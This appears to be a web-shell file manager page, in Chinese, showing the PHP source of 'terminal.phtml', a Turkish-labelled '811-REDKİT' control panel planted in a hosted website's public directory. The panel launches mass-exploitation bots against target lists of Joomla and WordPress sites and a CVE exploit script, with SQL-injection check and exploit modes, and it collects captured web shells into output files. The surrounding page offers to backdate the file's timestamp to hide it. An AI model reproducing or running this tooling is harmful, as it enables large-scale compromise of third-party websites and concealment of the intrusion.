文件操作 - terminal.phtml
返回文件管理
返回主菜单
删除本文件
文件: /home/tecnoht/public_html/onoranzefunebricastelli--com/terminal.phtml
编辑文件内容
<?php declare(strict_types=1); session_start(); /* =========================================================== 811-REDKİT // WEB TERMINAL v3 - Bot seçimi (demo1.py, joomla_mass.py, wp_mass.py, CVE-2026-63030.py) - Liste dosyası seçimi - Thread sayısı girişi - Çıktı dosyası ismi - Exploit modu seçimi (check / exploit) - Unfix seçeneği (fixer'ı atla) - Canlı log izleme =========================================================== */ const LOG_DIR = __DIR__ . '/logs'; const LOG_FILE = LOG_DIR . '/bot.log'; if (!is_dir(LOG_DIR)) { @mkdir(LOG_DIR, 0755, true); } /* CSRF */ if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(32)); } function csrf(): string { return $_SESSION['csrf']; } function verify_csrf(): void { $token = $_POST['csrf'] ?? ''; if (!is_string($token) || !hash_equals($_SESSION['csrf'], $token)) { http_response_code(403); exit('CSRF ERROR'); } } function json_response(array $data): never { header('Content-Type: application/json; charset=utf-8'); echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); exit; } /* Bot durumu */ function bot_running(): bool { $bot = realpath(__DIR__ . '/bot.py'); if ($bot === false) return false; $output = []; @exec('pgrep -af ' . escapeshellarg($bot), $output); foreach ($output as $line) { if (strpos($line, $bot) !== false && strpos($line, 'pgrep') === false) return true; } return false; } /* START BOT */ if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['action'] ?? '') === 'start') { verify_csrf(); $bot_file = $_POST['bot_file'] ?? 'demo1.py'; $list_file = $_POST['list_file'] ?? 'sites.txt'; $threads = (int)($_POST['threads'] ?? 100); $output_file = $_POST['output_file'] ?? 'basarili.txt'; $mode = $_POST['mode'] ?? 'exploit'; $unfix = isset($_POST['unfix']) && $_POST['unfix'] === 'on' ? ' --unfix' : ''; $bot_path = __DIR__ . '/' . $bot_file; if (!is_file($bot_path)) { json_response(['ok' => false, 'message' => "$bot_file bulunamadı."]); } if (bot_running()) { json_response(['ok' => false, 'message' => 'Bot zaten çalışıyor.']); } file_put_contents(LOG_FILE, ''); $python = 'python3'; // Eğer CVE-2026-63030.py ise özel argümanlar if (strpos($bot_file, 'CVE-2026-63030') !== false) { // CVE-2026-63030.py exploit -l list.txt -t 50 -o out.txt --shells-out shells.txt [--unfix] $cmd = 'nohup ' . escapeshellcmd($python) . ' -u ' . escapeshellarg($bot_path) . ' ' . escapeshellarg($mode) . ' -l ' . escapeshellarg($list_file) . ' -t ' . (int)$threads . ' -o ' . escapeshellarg($output_file) . ' --shells-out ' . escapeshellarg('shells_' . $output_file) . $unfix . ' >> ' . escapeshellarg(LOG_FILE) . ' 2>&1 < /dev/null &'; } else { // Diğer script'ler için standart $cmd = 'nohup ' . escapeshellcmd($python) . ' -u ' . escapeshellarg($bot_path) . ' -l ' . escapeshellarg($list_file) . ' -t ' . (int)$threads . ' -o ' . escapeshellarg($output_file) . ' >> ' . escapeshellarg(LOG_FILE) . ' 2>&1 < /dev/null &'; } @exec($cmd); file_put_contents(LOG_FILE, '[' . date('H:i:s') . "] BOT START: $bot_file (list: $list_file, threads: $threads, output: $output_file, mode: $mode, unfix: " . ($unfix ? 'YES' : 'NO') . ")\n", FILE_APPEND); json_response(['ok' => true, 'message' => "$bot_file başlatıldı."]); } /* STOP BOT */ if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['action'] ?? '') === 'stop') { verify_csrf(); $bot = realpath(__DIR__ . '/bot.py'); if ($bot !== false) { $processes = []; @exec('pgrep -af ' . escapeshellarg($bot), $processes); foreach ($processes as $line) { if (strpos($line, $bot) === false || strpos($line, 'pgrep') !== false) continue; $parts = preg_split('/\s+/', trim($line), 2); if (isset($parts[0]) && ctype_digit($parts[0])) { @posix_kill((int)$parts[0], SIGTERM); } } } file_put_contents(LOG_FILE, '[' . date('H:i:s') . '] BOT STOP REQUESTED' . PHP_EOL, FILE_APPEND); json_response(['ok' => true, 'message' => 'Stop komutu gönderildi.']); } /* LOG API */ if (isset($_GET['logs'])) { header('Content-Type: application/json; charset=utf-8'); $content = is_file(LOG_FILE) ? file_get_contents(LOG_FILE) : ''; if (strlen($content) > 100000) $content = substr($content, -100000); echo json_encode(['running' => bot_running(), 'log' => $content], JSON_UNESCAPED_UNICODE); exit; } /* Dosya listesi */ function get_py_files(): array { $files = glob(__DIR__ . '/*.py'); $result = []; foreach ($files as $f) { $base = basename($f); if ($base !== 'bot.py') $result[] = $base; } return $result; } function get_txt_files(): array { return array_map('basename', glob(__DIR__ . '/*.txt')); } ?> <!doctype html> <html lang="tr"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>811-REDKİT // WEB TERMINAL v3</title> <style> * { box-sizing: border-box; } html, body { margin: 0; padding: 0; width: 100%; min-height: 100%; background: #020403; color: #baffc8; font-family: ui-monospace, monospace; } body { padding: 12px; } .wrapper { max-width: 1250px; margin: auto; } .header { border: 1px solid #155e2a; background: #061008; padding: 14px; box-shadow: 0 0 30px rgba(30,255,112,.06); } .logo { color: #1eff70; font-size: 22px; font-weight: 900; letter-spacing: 4px; } .subtitle { margin-top: 5px; color: #477a53; font-size: 9px; letter-spacing: 1px; } .status { margin-top: 12px; display: flex; align-items: center; justify-content: space-between; gap: 10px; flex-wrap: wrap; } .status-left { display: flex; align-items: center; gap: 8px; color: #63936e; font-size: 10px; } .dot { width: 9px; height: 9px; border-radius: 50%; background: #666; box-shadow: 0 0 8px #666; } .dot.running { background: #1eff70; box-shadow: 0 0 10px #1eff70; } .controls-box { margin-top: 12px; display: grid; grid-template-columns: 1fr 1fr; gap: 10px; background: #061008; border: 1px solid #155e2a; padding: 14px; } .controls-box label { color: #8dffa6; font-size: 11px; display: flex; flex-direction: column; gap: 4px; } .controls-box select, .controls-box input { background: #010201; border: 1px solid #276b39; color: #baffc8; padding: 6px 10px; font-family: monospace; font-size: 12px; } .controls-box select:focus, .controls-box input:focus { border-color: #1eff70; outline: none; } .controls-box .checkbox-row { display: flex; align-items: center; gap: 10px; flex-wrap: wrap; } .controls-box .checkbox-row label { flex-direction: row; align-items: center; gap: 6px; cursor: pointer; } .controls-box .checkbox-row input[type="checkbox"] { width: 18px; height: 18px; cursor: pointer; } .terminal { margin-top: 12px; border: 1px solid #1c7135; background: #010201; box-shadow: 0 0 40px rgba(30,255,112,.07); } .terminal-bar { height: 40px; padding: 0 12px; display: flex; align-items: center; justify-content: space-between; background: #071109; border-bottom: 1px solid #123d20; color: #5e996a; font-size: 10px; } .terminal-title { color: #86d99a; } .terminal-body { height: 50vh; min-height: 300px; overflow-y: auto; padding: 15px; white-space: pre-wrap; word-break: break-word; font-size: 12px; line-height: 1.55; color: #baffc8; scrollbar-width: thin; } .cursor { display: inline-block; width: 7px; height: 14px; margin-left: 3px; vertical-align: middle; background: #1eff70; animation: blink 1s steps(1) infinite; } @keyframes blink { 50% { opacity: 0; } } .controls { margin-top: 12px; display: flex; gap: 8px; flex-wrap: wrap; } button { min-height: 38px; padding: 8px 15px; border: 1px solid #276b39; background: #071b0d; color: #8dffa6; font: inherit; font-size: 10px; cursor: pointer; } button:hover { border-color: #1eff70; background: #0b2912; } button.stop { color: #ff8888; border-color: #6e3030; background: #180909; } button.stop:hover { border-color: #ff5555; background: #270c0c; } .mode-select { background: #010201; border: 1px solid #276b39; color: #baffc8; padding: 6px 10px; font-family: monospace; font-size: 12px; border-radius: 4px; } @media(max-width:600px) { body { padding: 5px; } .header { padding: 11px; } .logo { font-size: 17px; letter-spacing: 3px; } .terminal-body { height: 40vh; min-height: 200px; font-size: 11px; } .controls-box { grid-template-columns: 1fr; } .controls { display: grid; grid-template-columns: 1fr 1fr; } button { width: 100%; } } </style> </head> <body> <div class="wrapper"> <div class="header"> <div class="logo">811-REDKİT</div> <div class="subtitle">WEB TERMINAL v3 // BOT SELECTOR + EXPLOIT</div> <div class="status"> <div class="status-left"><span id="statusDot" class="dot"></span><span id="statusText">OFFLINE</span></div> <div id="clock">--:--:--</div> </div> </div> <div class="controls-box"> <label>📄 Bot Dosyası <select id="botFile"> <?php foreach (get_py_files() as $f): ?> <option value="<?= htmlspecialchars($f) ?>"><?= htmlspecialchars($f) ?></option> <?php endforeach; ?> </select> </label> <label>📁 Liste Dosyası <select id="listFile"> <?php foreach (get_txt_files() as $f): ?> <option value="<?= htmlspecialchars($f) ?>"><?= htmlspecialchars($f) ?></option> <?php endforeach; ?> </select> </label> <label>⚙️ Thread Sayısı <input type="number" id="threads" value="100" min="1" max="500"> </label> <label>📤 Çıktı Dosyası <input type="text" id="outputFile" value="basarili.txt"> </label> <label>🎯 Exploit Modu <select id="mode" class="mode-select"> <option value="exploit">Exploit (Shell + Fix)</option> <option value="check">Check (Sadece SQLi Kontrol)</option> </select> </label> <div class="checkbox-row"> <label><input type="checkbox" id="unfix"> 🔓 Unfix (Fixer'ı Atla)</label> </div> </div> <div class="terminal"> <div class="terminal-bar"><span class="terminal-title">root@redkit:~$</span><span>LIVE OUTPUT</span></div> <div id="terminal" class="terminal-body">[ 811-REDKİT WEB TERMINAL v3 ]<br>Bot, liste, thread ve modu seçip START'a bas.<span class="cursor"></span></div> </div> <div class="controls"> <button id="startBtn" onclick="startBot()">[ START BOT ]</button> <button id="stopBtn" class="stop" onclick="stopBot()">[ STOP BOT ]</button> <button onclick="clearTerminal()">[ CLEAR ]</button> </div> </div> <script> const CSRF = <?= json_encode(csrf()) ?>; const terminal = document.getElementById('terminal'); const statusText = document.getElementById('statusText'); const statusDot = document.getElementById('statusDot'); let lastLog = ''; function updateClock() { document.getElementById('clock').textContent = new Date().toLocaleTimeString('tr-TR'); } setInterval(updateClock, 1000); updateClock(); async function fetchLogs() { try { const response = await fetch('?logs=1&_=' + Date.now(), { cache: 'no-store' }); if (!response.ok) return; const data = await response.json(); if (data.running) { statusText.textContent = 'BOT RUNNING'; statusDot.classList.add('running'); } else { statusText.textContent = 'IDLE'; statusDot.classList.remove('running'); } if (data.log !== lastLog) { terminal.textContent = data.log || '[ waiting for output ]'; lastLog = data.log; terminal.scrollTop = terminal.scrollHeight; } } catch (error) { statusText.textContent = 'CONNECTION ERROR'; statusDot.classList.remove('running'); } } async function startBot() { const form = new FormData(); form.append('csrf', CSRF); form.append('action', 'start'); form.append('bot_file', document.getElementById('botFile').value); form.append('list_file', document.getElementById('listFile').value); form.append('threads', document.getElementById('threads').value); form.append('output_file', document.getElementById('outputFile').value); form.append('mode', document.getElementById('mode').value); if (document.getElementById('unfix').checked) { form.append('unfix', 'on'); } try { const response = await fetch(location.href, { method: 'POST', body: form }); const data = await response.json(); if (!data.ok) alert(data.message); } catch (error) { alert('Start request failed.'); } setTimeout(fetchLogs, 500); } async function stopBot() { const form = new FormData(); form.append('csrf', CSRF); form.append('action', 'stop'); try { const response = await fetch(location.href, { method: 'POST', body: form }); const data = await response.json(); if (!data.ok) alert(data.message); } catch (error) { alert('Stop request failed.'); } setTimeout(fetchLogs, 500); } function clearTerminal() { terminal.textContent = '[ terminal cleared ]'; lastLog = ''; } fetchLogs(); setInterval(fetchLogs, 700); </script> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件